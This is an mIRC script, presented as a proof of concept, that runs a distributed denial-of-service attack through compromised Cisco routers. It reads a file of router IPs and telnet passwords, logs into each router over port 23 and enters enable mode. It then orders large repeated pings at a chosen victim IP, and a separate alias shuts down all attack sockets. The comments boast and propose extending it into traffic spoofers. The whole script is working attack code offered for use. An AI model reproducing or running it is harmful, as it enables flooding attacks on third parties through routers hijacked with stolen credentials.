; PoC dDoS utalizing cisco routers list
; list needs to be saved in your mirc root dir. as cisco.txt in format IP PASS ENABLEPASS
; Commands are /cddos ip (which attacks ip)  ..and..   /kcddos (which kills all ddos sockets in use)
; further development could used to create full spoofers and have a field day but i'm not writing a book here.
; -mirco
; Atimiwaza Bitch.


alias cddos {
  if ($1 != $null) {
    set %loopp 0
    set %newk.ip $1
    set %ciscofile $mircdir $+ cisco.txt
    WHILE (%loopp < $lines(%ciscofile)) { inc %loopp | .cisco $read(%ciscofile,%loopp) }
  }
}
alias cisco {
  inc %cisco.open
  sockopen cisco [ $+ [ %cisco.open ] ] $1 23
  if ($3 == $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $2
  }
  if ($3 != $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $3
  }
  inc %cisco.open
  sockopen cisco [ $+ [ %cisco.open ] ] $1 23
  if ($3 == $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $2
  }
  if ($3 != $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $3
  }
  inc %cisco.open
  sockopen cisco [ $+ [ %cisco.open ] ] $1 23
  if ($3 == $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $2
  }
  if ($3 != $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $3
  }
  inc %cisco.open
  sockopen cisco [ $+ [ %cisco.open ] ] $1 23
  if ($3 == $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $2
  }
  if ($3 != $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $3
  }
  inc %cisco.open
  sockopen cisco [ $+ [ %cisco.open ] ] $1 23
  if ($3 == $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $2
  }
  if ($3 != $null) {
    set %ccisco [ $+ [ %cisco.open ] $+ USER ] $2
    set %ccisco [ $+ [ %cisco.open ] $+ PASS ] $3
  }
}
alias kcddos { set %cisco.open 0 | sockclose cisco* | set %cisco.nuke.notice on }
on 1:sockopen:cisco*:{
  .timer 1 1 sockwrite -n $sockname %c [ $+ [ $sockname ] $+ USER ]
  .timer 1 1 sockwrite -n $sockname enable
  .timer 1 1 sockwrite -n $sockname %c [ $+ [ $sockname ] $+ PASS ]
  .timer 1 1 sockwrite -n $sockname ping
  .timer 1 1 sockwrite -n $sockname ip
  .timer 1 1 sockwrite -n $sockname %newk.ip
  .timer 1 1 sockwrite -n $sockname 5000
  .timer 1 1 sockwrite -n $sockname 5000
  .timer 1 1 sockwrite -n $sockname 0
  .timer 1 1 sockwrite -n $sockname n
  .timer 1 1 sockwrite -n $sockname n
}
alias cisco-w { window -naek0 @Cisco /cisco Arial 12  }

on *:sockread:cisco*:{
  if ($sockerr > 0) return
  sockread %cisco 
  if ($window(@cisco,1) == $null) { cisco-w | goto next } 
  :next 
  if (send isin %cisco) && (%cisco != $null) { echo @cisco %cisco } 
  if ($chr(33) isin %cisco) { echo @cisco $sock($sockname).ip - %cisco } 
  else { halt }
}